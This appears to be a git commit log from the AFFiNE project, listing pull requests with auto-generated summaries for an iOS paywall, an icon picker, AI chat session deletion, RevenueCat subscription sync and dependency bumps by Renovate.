  * Updated callout E2E to reflect new default icon and picker behavior.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: L-Sun <zover.v@gmail.com>
2025-09-29 11:06:14 +00:00
Lakr
8df7353722 chore(ios): iap paywall update (#13669)
This pull request introduces several improvements and refactors to the
iOS frontend, with a focus on the paywall system, configuration, and
developer experience. The most significant changes include dynamic
pricing updates for subscription packages, the introduction of a
centralized pricing configuration, and enhanced developer documentation
and settings for Claude Code. There are also minor fixes and
improvements to restore purchase flows, App Store syncing, and protocol
usage guidance.

**Paywall System Improvements**

* Subscription package pricing and display is now dynamically updated
based on App Store data, ensuring users see accurate, localized pricing
and descriptions. This includes new logic for calculating monthly prices
and updating package button text. (`ViewModel.swift`,
`ViewModel+Action.swift`, `SKUnit+Pro.swift`, `SKUnit+AI.swift`)
[[1]](diffhunk://#diff-cb192a424400265435cb06d86b204aa17b4e8195d9dd811580f51faeda211ff0R83-R160)
[[2]](diffhunk://#diff-cb192a424400265435cb06d86b204aa17b4e8195d9dd811580f51faeda211ff0L102-R199)
[[3]](diffhunk://#diff-df2cb61867b4ff10dee98d534cf3c94fe8d48ebaef3f219450a9fba26725fdcbL58-R73)
[[4]](diffhunk://#diff-df2cb61867b4ff10dee98d534cf3c94fe8d48ebaef3f219450a9fba26725fdcbL74-R94)
[[5]](diffhunk://#diff-ea535c02550f727587e74521da8fd90dec23cbe3c685f9c4aa4923ce0bbdb363L19-R35)
[[6]](diffhunk://#diff-a5fef660f959bbb52ce3f19bba8bfbd0bb00d66c9f18a20a998101b5df6c8f60L18-R22)
* Introduced a new `PricingConfiguration.swift` file to centralize
product identifiers, default selections, and display strings for
subscription products, improving maintainability and consistency.
(`PricingConfiguration.swift`, `SKUnit+Pro.swift`, `SKUnit+AI.swift`)
[[1]](diffhunk://#diff-de4566ecd5bd29f36737ae5e5904345bd1a5c8f0a73140c3ebba41856bae3e86R1-R54)
[[2]](diffhunk://#diff-ea535c02550f727587e74521da8fd90dec23cbe3c685f9c4aa4923ce0bbdb363L19-R35)
[[3]](diffhunk://#diff-a5fef660f959bbb52ce3f19bba8bfbd0bb00d66c9f18a20a998101b5df6c8f60L18-R22)

**Developer Experience and Documentation**

* Added `AGENTS.md` to provide comprehensive guidance for Claude Code
and developers, including project overview, build commands,
architecture, native bridge APIs, Swift code style, and dependencies.
(`AGENTS.md`)
* Added a local settings file (`settings.local.json`) to configure
permissions for Claude Code, allowing specific Bash commands for iOS
builds. (`settings.local.json`)
* Updated Swift architecture guidelines to discourage protocol-oriented
design unless necessary, favoring dependency injection and composition.
(`AGENTS.md`)

**User Experience Improvements**

* The purchase footer now includes an underline for "Restore Purchase"
and a clear message about subscription auto-renewal and cancellation
flexibility. (`PurchaseFooterView.swift`)
* Improved restore purchase and App Store sync logic to better handle
user sign-in prompts and error handling. (`ViewModel+Action.swift`,
`Store.swift`)
[[1]](diffhunk://#diff-df2cb61867b4ff10dee98d534cf3c94fe8d48ebaef3f219450a9fba26725fdcbL45-R49)
[[2]](diffhunk://#diff-df2cb61867b4ff10dee98d534cf3c94fe8d48ebaef3f219450a9fba26725fdcbL58-R73)
[[3]](diffhunk://#diff-9f18fbbf15591c56380ce46358089c663ce4440f596db8577de76dc6cd306b54R26-R28)

**Minor Fixes and Refactoring**

* Made `docId` in `DeleteSessionInput` optional to match GraphQL schema
expectations. (`DeleteSessionInput.graphql.swift`)
[[1]](diffhunk://#diff-347e5828e46f435d7d7090a3e3eb7445af8c616f663e8711cd832f385f870a9bL14-R14)
[[2]](diffhunk://#diff-347e5828e46f435d7d7090a3e3eb7445af8c616f663e8711cd832f385f870a9bL25-R25)
* Minor formatting and dependency list updates in `Package.swift`.
(`Package.swift`)
* Fixed concurrency usage in event streaming for chat manager.
(`ChatManager+Stream.swift`)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* New Features
* Paywall options now dynamically reflect product data with clearer
labels and monthly price calculations.
* Added an auto‑renewal note (“cancel anytime”) and underlined “Restore
Purchase” for better clarity.

* Refactor
* Improved purchase/restore flow reliability and UI updates for a
smoother experience.

* Documentation
* Added a comprehensive development guide and updated architecture/style
guidance for iOS.

* Chores
* Introduced local build permissions configuration for iOS development.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-09-29 09:18:47 +00:00
Cats Juice
12daefdf54 fix(core): prevent emoji being clipped and adjust icon-picker default color (#13664)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

- Style
- Updated icon picker to use the primary icon color, improving visual
consistency (including SVG icons).
- Improved emoji rendering in the document icon picker by applying an
emoji-specific font for elements marked as emoji, matching existing size
and line-height.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-09-29 02:25:31 +00:00
Wu Yue
9f94d5c216 feat(core): support ai chat delete action (#13655)
<img width="411" height="205" alt="截屏2025-09-26 10 58 39"
src="https://github.com/user-attachments/assets/c3bce144-7847-4794-b766-5a3777cbc00d"
/>


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

- New Features
- Delete icon added to AI session history with tooltip and confirmation
prompt; deleting current session opens a new session.
- Session deletion wired end-to-end (toolbar → provider → backend) and
shows notifications.

- Improvements
- Cleanup now supports deleting sessions with or without a document ID
(document-specific or workspace-wide).
- UI tweaks for cleaner session item layout and safer click handling
(delete won’t trigger item click).
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-09-27 11:58:58 +00:00
Lakr
8d6f7047c2 fix(ios): build project (#13656)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

- New Features
- Access Tokens screen now shows revealed access tokens, including the
token value where available.

- Chores
  - Updated iOS Paywall package to use Swift tools version 5.9.
  - Removed an unused internal iOS package to streamline the app.
- Aligned access token data model to the latest backend schema for
improved consistency.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-09-26 10:10:30 +00:00
github-actions[bot]
a92894990d chore(i18n): sync translations (#13651)
New Crowdin translations by [Crowdin GH
Action](https://github.com/crowdin/github-action)

Co-authored-by: Crowdin Bot <support+bot@crowdin.com>
Co-authored-by: DarkSky <25152247+darkskygit@users.noreply.github.com>
2025-09-26 09:13:17 +00:00
L-Sun
6af1f6ab8d fix(core): infinitied loop (#13653)
Fix #13649 

#### PR Dependency Tree


* **PR #13653** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Refactor**
* Streamlined internal async handling to depend only on specified
inputs, reducing unnecessary updates and improving responsiveness.
  * Preserved existing error handling for async operations.

* **Chores**
* Adjusted lint configuration/comments to align with the updated
dependency strategy, reducing false-positive warnings.

No user-facing UI changes.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-09-26 08:59:33 +00:00
Rokas
e7f76c1737 chore: update mermaid (#13510)
https://github.com/toeverything/AFFiNE/issues/13509

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Chores**
  * Upgraded Mermaid dependency to v11.1.0 in the frontend core package.

* **Impact**
* Improved diagram rendering and compatibility with newer Mermaid
syntax.
* Potential performance and security improvements from upstream updates.
  * No UI changes expected; existing diagrams should continue to work.
  * Please verify critical diagram views for any rendering differences.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: L-Sun <zover.v@gmail.com>
Co-authored-by: DarkSky <25152247+darkskygit@users.noreply.github.com>
2025-09-26 07:40:42 +00:00
Xun Sun
5b52349b96 feat: implement textAlign property (#11790)
for paragraph blocks, image blocks, list blocks, and table blocks

Should fix #8617 and #11254.

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

- **New Features**
- Added text alignment options (left, center, right) for paragraph,
list, image, note, and table blocks.
- Introduced alignment controls in toolbars and slash menus for easier
formatting.
- Enabled keyboard shortcuts for quick text alignment changes (supports
Mac and Windows).
- **Localization**
- Added English, Simplified Chinese, and Traditional Chinese
translations for new alignment commands and shortcuts.
- **Style**
  - Blocks now visually reflect selected text alignment in their layout.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: L-Sun <zover.v@gmail.com>
2025-09-26 07:23:28 +00:00
renovate[bot]
bf87178c26 chore: bump up @googleapis/androidpublisher version to v31 (#13633)
Coming soon: The Renovate bot (GitHub App) will be renamed to Mend. PRs
from Renovate will soon appear from 'Mend'. Learn more
[here](https://redirect.github.com/renovatebot/renovate/discussions/37842).

This PR contains the following updates:

| Package | Change | Age | Confidence |
|---|---|---|---|
|
[@googleapis/androidpublisher](https://redirect.github.com/googleapis/google-api-nodejs-client)
| [`^28.0.0` ->
`^31.0.0`](https://renovatebot.com/diffs/npm/@googleapis%2fandroidpublisher/28.0.1/31.0.0)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@googleapis%2fandroidpublisher/31.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@googleapis%2fandroidpublisher/28.0.1/31.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>googleapis/google-api-nodejs-client
(@&#8203;googleapis/androidpublisher)</summary>

###
[`v31.0.0`](https://redirect.github.com/googleapis/google-api-nodejs-client/blob/HEAD/CHANGELOG.md#13100-2024-01-05)

[Compare
Source](https://redirect.github.com/googleapis/google-api-nodejs-client/compare/v30.0.0...v31.0.0)

##### ⚠ BREAKING CHANGES

- **serviceconsumermanagement:** This release has breaking changes.
- **playintegrity:** This release has breaking changes.

##### Features

- **chromepolicy:** update the API
([8429e3c](8429e3c9d6))
- **chromeuxreport:** update the API
([6d52abb](6d52abb902))
- **customsearch:** update the API
([1169e4c](1169e4c607))
- **dialogflow:** update the API
([4b1e073](4b1e0734d9))
- **displayvideo:** update the API
([45b61b5](45b61b5d20))
- **oslogin:** update the API
([cfc90e7](cfc90e7c9c))
- **playintegrity:** update the API
([767af5f](767af5f12e))
- regenerate index files
([4246fd1](4246fd1c64))
- **serviceconsumermanagement:** update the API
([a68206a](a68206a211))

##### Bug Fixes

- **accesscontextmanager:** update the API
([845c716](845c7168e9))
- **admin:** update the API
([4664d6b](4664d6bb4c))
- **backupdr:** update the API
([19b0192](19b019219b))
- **calendar:** update the API
([0ca9bbc](0ca9bbc4e4))
- **cloudbuild:** update the API
([31158a2](31158a226c))
- **cloudidentity:** update the API
([22610b3](22610b3d15))
- **cloudprofiler:** update the API
([2c5cbc4](2c5cbc4299))
- **cloudtrace:** update the API
([2a811d5](2a811d5fe8))
- **iap:** update the API
([ec596c1](ec596c1b87))
- **playdeveloperreporting:** update the API
([7181840](7181840daf))
- **servicenetworking:** update the API
([50c7dbd](50c7dbd323))
- **spanner:** update the API
([0e40d67](0e40d67436))

###
[`v30.0.0`](https://redirect.github.com/googleapis/google-api-nodejs-client/blob/HEAD/CHANGELOG.md#13000-2024-01-03)

##### ⚠ BREAKING CHANGES

- **networksecurity:** This release has breaking changes.
- **metastore:** This release has breaking changes.
- **gmail:** This release has breaking changes.
- **gkehub:** This release has breaking changes.
- **drivelabels:** This release has breaking changes.
- **dialogflow:** This release has breaking changes.
- **datacatalog:** This release has breaking changes.
- **content:** This release has breaking changes.
- **connectors:** This release has breaking changes.
- **cloudbuild:** This release has breaking changes.
- **chat:** This release has breaking changes.
- **batch:** This release has breaking changes.
- **artifactregistry:** This release has breaking changes.
- **aiplatform:** This release has breaking changes.
- **advisorynotifications:** This release has breaking changes.

##### Features

- **accesscontextmanager:** update the API
([26d496e](26d496e416))
- **adexchangebuyer2:** update the API
([31c0066](31c006606f))
- **admin:** update the API
([79ce913](79ce9133d7))
- **advisorynotifications:** update the API
([0f44091](0f440919dd))
- **aiplatform:** update the API
([66739ce](66739ce624))
- **alloydb:** update the API
([590f835](590f835773))
- **analyticsdata:** update the API
([25d0b67](25d0b6763e))
- **analyticshub:** update the API
([8279edf](8279edf154))
- **androidpublisher:** update the API
([c6d69a0](c6d69a049d))
- **artifactregistry:** update the API
([6fda22c](6fda22c487))
- **assuredworkloads:** update the API
([41debeb](41debeba59))
- **backupdr:** update the API
([1018945](1018945770))
- **batch:** update the API
([9ef21e0](9ef21e0459))
- **bigquery:** update the API
([f1deeab](f1deeabbb0))
- **blockchainnodeengine:** update the API
([07ac2e7](07ac2e721d))
- **chat:** update the API
([88428f0](88428f0d91))
- **checks:** update the API
([2d78a72](2d78a72c71))
- **cloudbilling:** update the API
([857a51e](857a51e47b))
- **cloudbuild:** update the API
([ddf4c10](ddf4c10cf4))
- **cloudchannel:** update the API
([aecac6b](aecac6be45))
- **clouddeploy:** update the API
([62d7fd6](62d7fd6070))
- **cloudfunctions:** update the API
([c5aae9a](c5aae9a7cf))
- **cloudprofiler:** update the API
([2933bff](2933bff415))
- **cloudsupport:** update the API
([feb88b5](feb88b5521))
- **composer:** update the API
([53b83d6](53b83d65b1))
- **compute:** update the API
([ffbf00b](ffbf00b1c1))
- **connectors:** update the API
([f433bd6](f433bd6284))
- **container:** update the API
([cac432f](cac432f882))
- **content:** update the API
([c0dd4c0](c0dd4c0bc2))
- **datacatalog:** update the API
([a939d7e](a939d7eaf2))
- **dataflow:** update the API
([9721cda](9721cda955))
- **dataform:** update the API
([d2bfeab](d2bfeabcbe))
- **datafusion:** update the API
([413c94e](413c94e5db))
- **dataplex:** update the API
([8da4b12](8da4b128b1))
- **dataproc:** update the API
([5a60626](5a606262b3))
- **dialogflow:** update the API
([8829da4](8829da4a7e))
- **discoveryengine:** update the API
([567c02d](567c02d288))
- **dlp:** update the API
([7cbdc6a](7cbdc6aaf4))
- **dns:** update the API
([f783244](f7832440a5))
- **documentai:** update the API
([01cc7b5](01cc7b5994))
- **drivelabels:** update the API
([50a1b75](50a1b75751))
- **drive:** update the API
([c07f193](c07f193c33))
- **file:** update the API
([324d0f6](324d0f69b3))
- **firebaseappcheck:** update the API
([c8fb050](c8fb050246))
- **firebaserules:** update the API
([2a44570](2a445705f0))
- **gkehub:** update the API
([044e086](044e0861ed))
- **gkeonprem:** update the API
([6c9398e](6c9398e54e))
- **gmail:** update the API
([c7698bd](c7698bda1d))
- **healthcare:** update the API
([d34ee61](d34ee618f9))
- **metastore:** update the API
([6887f67](6887f67506))
- **migrationcenter:** update the API
([e890439](e890439ac6))
- **monitoring:** update the API
([738848d](738848dcb6))
- **networkmanagement:** update the API
([d8a3556](d8a35563fc))
- **networksecurity:** update the API
([166232f](166232fe14))
- **networkservices:** update the API
([076de17](076de17ce5))
- **notebooks:** update the API
([a08d104](a08d104800))
- **orgpolicy:** update the API
([5c8f8c7](5c8f8c727c))
- **oslogin:** update the API
([f1475c5](f1475c544f))
- **paymentsresellersubscription:** update the API
([d79cf5a](d79cf5a6cf))
- **playdeveloperreporting:** update the API
([6ef5718](6ef5718e6e))
- **policysimulator:** update the API
([58e6545](58e654547c))
- **prod\_tt\_sasportal:** update the API
([99b92fe](99b92fe5d9))
- **pubsub:** update the API
([f17fac3](f17fac34c0))
- **recaptchaenterprise:** update the API
([7952baa](7952baabbe))
- **recommender:** update the API
([76b9501](76b9501327))
- **redis:** update the API
([fd4636b](fd4636b1c9))
- regenerate index files
([33f2d78](33f2d78b2c))
- **retail:** update the API
([0aa095b](0aa095b51a))
- **run:** update the API
([48a19bf](48a19bf416))
- **sasportal:** update the API
([2459cce](2459cce1e4))
- **script:** update the API
([0520e5e](0520e5efd5))
- **securitycenter:** update the API
([74c634a](74c634a34a))
- **serviceconsumermanagement:** update the API
([0552119](05521190fe))
- **servicemanagement:** update the API
([429940b](429940b1b4))
- **servicenetworking:** update the API
([42a1422](42a142249e))
- **serviceusage:** update the API
([c2ad070](c2ad070ce4))
- **storage:** update the API
([c0609c9](c0609c901b))
- **translate:** update the API
([77a0522](77a05229d2))
- **vault:** update the API
([db163fd](db163fd3b3))
- **vision:** update the API
([77a0a91](77a0a9136e))
- **vpcaccess:** update the API
([8db5275](8db52757e6))
- **workloadmanager:** update the API
([4c49597](4c4959752e))
- **workstations:** update the API
([174cd20](174cd20129))

##### Bug Fixes

- **accessapproval:** update the API
([227915d](227915d92f))
- **analyticsadmin:** update the API
([b858170](b858170642))
- **androidmanagement:** update the API
([35f8862](35f886254c))
- **apphub:** update the API
([e5a7c92](e5a7c92a2a))
- **binaryauthorization:** update the API
([7f20317](7f20317264))
- **calendar:** update the API
([e6ba462](e6ba462408))
- **chromepolicy:** update the API
([a5a5351](a5a5351998))
- **classroom:** update the API
([9d2ed12](9d2ed12202))
- **cloudasset:** update the API
([20a91d5](20a91d5cb6))
- **cloudidentity:** update the API
([5155e11](5155e11cd2))
- **cloudkms:** update the API
([90bab2c](90bab2c738))
- **cloudscheduler:** update the API
([2c7b902](2c7b90229a))
- **cloudtasks:** update the API
([a8d66db](a8d66db055))
- **contactcenterinsights:** update the API
([828c5d3](828c5d3e08))
- **datamigration:** update the API
([56a65a8](56a65a8590))
- **deploymentmanager:** update the API
([b48abef](b48abef098))
- **displayvideo:** update the API
([299cf97](299cf97f91))
- **firebaseappdistribution:** update the API
([b102fcc](b102fccab5))
- **gkebackup:** update the API
([30ca612](30ca612728))
- **iam:** update the API
([4e12124](4e121245a3))
- **iap:** update the API
([65c644e](65c644e9de))
- **language:** update the API
([77252e1](77252e1b9c))
- **logging:** update the API
([1b4dc67](1b4dc6732c))
- **mybusinessbusinessinformation:** update the API
([5e4c0fe](5e4c0fe093))
- **places:** update the API
([6bbdf72](6bbdf72e3e))
- **policytroubleshooter:** update the API
([ad18f3b](ad18f3b0f6))
- **privateca:** update the API
([b230959](b23095912e))
- **runtimeconfig:** update the API
([0dfe961](0dfe9610eb))
- **secretmanager:** update the API
([a202268](a202268db9))
- **servicedirectory:** update the API
([ddc06a2](ddc06a219b))
- **sourcerepo:** update the API
([1965102](19651026ae))
- **spanner:** update the API
([ce99980](ce99980e71))
- **sqladmin:** update the API
([de59e8d](de59e8dd22))
- **storagetransfer:** update the API
([d6081de](d6081dea7d))
- **videointelligence:** update the API
([9d377f5](9d377f5e3e))
- **vmmigration:** update the API
([68a1d5f](68a1d5fede))
- **walletobjects:** update the API
([920ddc7](920ddc780c))
- **workflowexecutions:** update the API
([6553987](6553987f65))

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MS45Ny4xMCIsInVwZGF0ZWRJblZlciI6IjQxLjk3LjEwIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
Co-authored-by: DarkSky <25152247+darkskygit@users.noreply.github.com>
2025-09-26 07:18:12 +00:00
Cats Juice
d272c4342d feat(core): replace emoji-mart with affine icon picker (#13644)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

- New Features
  - Unified icon picker with consistent rendering across the app.
  - Picker can auto-close after selection.
  - “Remove” now clears the icon selection.

- Refactor
- Icon handling consolidated across editors, navigation, and document
titles for consistent behavior.
  - Picker now opens on the Emoji panel by default.

- Style
  - Adjusted line-height and selectors for icon picker visuals.

- Chores
  - Removed unused emoji-mart dependencies.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-09-26 06:41:29 +00:00
DarkSky
c540400496 feat(server): allow drop session (#13650)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Bug Fixes**
* Ensures deleted sessions and their messages are consistently cleaned
up, preventing lingering pinned or partially removed items.

* **Refactor**
* Streamlined session cleanup into a single bulk operation for improved
reliability and performance during deletions.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-09-26 06:38:13 +00:00
EYHN
54498df247 feat(ios): upgrade button in setting (#13645)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

- New Features
- Added a Subscription section in Mobile Settings (for signed-in users)
with plan info and an Upgrade button that opens the native paywall.
  - Supports showing “Pro” and “AI” paywalls.
  - Integrated native paywall provider on iOS.

- Style
- Introduced new styling for the subscription card, content, and button.

- Localization
- Added English strings for subscription title, description, and button.

- Chores
- Minor iOS project cleanup and internal wiring to enable the paywall
module.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-09-26 06:27:45 +00:00
DarkSky
3f9d9fef63 fix(server): rcat event sync (#13648)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

- New Features
- Subscriptions now include an explicit "trial" flag so trialing users
are identified and treated correctly.

- Bug Fixes
  - More robust handling when webhook fields are missing or null.
- Improved family-sharing detection to avoid incorrect async processing.

- Refactor
- Status determination and store resolution simplified to rely on
subscription data rather than event payloads.

- Tests
- Test fixtures updated to include trial and store details for accuracy.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-09-25 19:00:48 +00:00
Lakr
7a90e1551c fix(ios): complete iap user interface (#13639)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

- New Features
- In-app purchases fully integrated for Pro and AI plans with restore,
live product loading, and StoreKit test configuration.

- Improvements
- Refreshed paywall: intro animation, delayed close button, smoother
horizontal paging, page dots interaction, per-item reveal animations,
and purchase-state UI (disabled/checked when owned).

- Changes
- "Believer" plan and related screens removed; Pro simplified to Monthly
and Annual offerings.

- Chores
- iOS project and build settings updated for newer toolchain and
StoreKit support.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: coderabbitai[bot] <136622811+coderabbitai[bot]@users.noreply.github.com>
2025-09-25 04:50:12 +00:00
Peng Xiao
3c9d17c983 feat(core): insert artifact as code block (#13641)
#### PR Dependency Tree


* **PR #13641** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **New Features**
* Insert HTML content directly into the document as a code block with
preview enabled.
* Default view changed from Code to Preview for faster content
inspection.
* New “Insert” action replaces the previous “Download” action to add
content into the document.
* Added a dedicated “Download HTML” button with an icon to save the HTML
file.
* Toast notifications confirm successful insertions; errors are reported
if insertion fails.
  * Updated button labeling to reflect the new workflow.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-09-24 08:29:03 +00:00
EYHN
2f118206cc feat(core): mcp server setting (#13630)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **New Features**
* MCP Server integration available in cloud workspaces with a dedicated
settings panel.
* Manage personal access tokens: generate/revoke tokens and view
revealed token.
  * One-click copy of a prefilled server configuration JSON.
  * New query to fetch revealed access tokens.

* **Improvements**
  * Integration list adapts to workspace type (cloud vs. local).
* More reliable token refresh with clearer loading, error and
revalidation states.

* **Localization**
* Added “Copied to clipboard” message and MCP Server name/description
translations.

* **Chores**
  * Updated icon dependency across many packages.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-09-24 08:02:47 +00:00
Cats Juice
ca9811792d feat(component): emoji and icon picker (#13638)
![CleanShot 2025-09-23 at 17 11
13](https://github.com/user-attachments/assets/0a4a9d09-1149-4042-bc73-e068a428f335)


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

- **New Features**
- Icon Picker added with Emoji and Icon panels, search/filtering, recent
selections, color selection, skin tone options, and smooth group
navigation.

- **Documentation**
  - Storybook example added to preview and test the Icon Picker.

- **Chores**
  - Bumped icon library dependency to a newer minor version.
  - Added emoji data dependency to support the Emoji Picker.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-09-24 07:14:54 +00:00
Jachin
812c2d86d4 feat(server): add Swagger API docs (#13455)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **New Features**
* Interactive API documentation available at /api/docs when running in
development.

* **Chores**
* Added a development dependency to enable generation of the API
documentation.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: DarkSky <25152247+darkskygit@users.noreply.github.com>
Co-authored-by: DarkSky <darksky2048@gmail.com>
2025-09-23 10:31:16 +00:00
DarkSky
762b702e46 feat: sync rcat data (#13628)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **New Features**
* RevenueCat support: public webhook endpoint, webhook handler/service,
nightly reconciliation and per-user sync; subscriptions now expose
provider and iapStore; new user-facing error for App Store/Play-managed
subscriptions.
* **Chores**
* Multi-provider subscription schema (Provider, IapStore); Stripe
credentials moved into payment.stripe (top-level apiKey/webhookKey
deprecated); new payment.revenuecat config and defaults added.
* **Tests**
  * Comprehensive RevenueCat integration test suite and snapshots.
* **Documentation**
  * Admin config descriptions updated with deprecation guidance.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-09-23 08:52:23 +00:00
Lakr
75a6c79b2c fix(ios): crash at swift runtime error (#13635)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **New Features**
* Fetch copilot model options per prompt (default, optional, pro) with
generated GraphQL query and schema types.

* **Chores**
* Upgraded iOS deps: Apollo iOS 1.23.0, EventSource 0.1.5, Swift
Collections 1.2.1.
* Switched Intelligents to static linking and updated project
integration.
* Parameterized and standardized GraphQL codegen tooling; setup
automation now syncs versions and safely backs up/restores custom
scalars.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-09-23 05:56:08 +00:00
Wu Yue
b25759c264 feat(core): support gemini model switch in ai (#13631)
<img width="757" height="447" alt="截屏2025-09-22 17 49 34"
src="https://github.com/user-attachments/assets/bab96f45-112e-4d74-bc38-54429d8a54ab"
/>


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

- New Features
- Subscription-aware AI model picker in chat: browse models with version
and category, see active selection, switch models, and receive
notifications when choosing pro models without a subscription.
Selections persist across sessions.
- Central AI model service wired into chat UI for consistent model
selection and availability.

- Changes
- Streamlined AI model availability: reduced to a curated set for a more
focused experience.
  - Context menu buttons can display supplemental info next to labels.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-09-22 13:25:11 +00:00
renovate[bot]
da3e3eb3fa chore: bump up @faker-js/faker version to v10 (#13626)
Coming soon: The Renovate bot (GitHub App) will be renamed to Mend. PRs
from Renovate will soon appear from 'Mend'. Learn more
[here](https://redirect.github.com/renovatebot/renovate/discussions/37842).

This PR contains the following updates:

| Package | Change | Age | Confidence |
|---|---|---|---|
| [@faker-js/faker](https://fakerjs.dev)
([source](https://redirect.github.com/faker-js/faker)) | [`^9.6.0` ->
`^10.0.0`](https://renovatebot.com/diffs/npm/@faker-js%2ffaker/9.8.0/10.0.0)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@faker-js%2ffaker/10.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@faker-js%2ffaker/9.8.0/10.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
| [@faker-js/faker](https://fakerjs.dev)
([source](https://redirect.github.com/faker-js/faker)) | [`^9.3.0` ->
`^10.0.0`](https://renovatebot.com/diffs/npm/@faker-js%2ffaker/9.8.0/10.0.0)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@faker-js%2ffaker/10.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@faker-js%2ffaker/9.8.0/10.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>faker-js/faker (@&#8203;faker-js/faker)</summary>

###
[`v10.0.0`](https://redirect.github.com/faker-js/faker/blob/HEAD/CHANGELOG.md#1000-2025-08-21)

[Compare
Source](https://redirect.github.com/faker-js/faker/compare/v9.9.0...v10.0.0)

##### New Locales

- **locale:** extended list of colors in Polish
([#&#8203;3586](https://redirect.github.com/faker-js/faker/issues/3586))
([9940d54](9940d54f75))

##### Features

- **locales:** add animal vocabulary(bear, bird, cat, rabbit, pet\_name)
in Korean
([#&#8203;3535](https://redirect.github.com/faker-js/faker/issues/3535))
([0d2143c](0d2143c75d))

##### Changed Locales

- **locale:** remove invalid credit card issuer patterns
([#&#8203;3568](https://redirect.github.com/faker-js/faker/issues/3568))
([9783d95](9783d95a8e))

###
[`v9.9.0`](https://redirect.github.com/faker-js/faker/blob/HEAD/CHANGELOG.md#990-2025-07-01)

[Compare
Source](https://redirect.github.com/faker-js/faker/compare/v9.8.0...v9.9.0)

##### New Locales

- **locale:** add word data to pt\_br and pt\_pt locales
([#&#8203;3531](https://redirect.github.com/faker-js/faker/issues/3531))
([a405ac8](a405ac8740))

##### Features

- **location:** simple coordinate methods
([#&#8203;3528](https://redirect.github.com/faker-js/faker/issues/3528))
([d07d96d](d07d96d018))

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

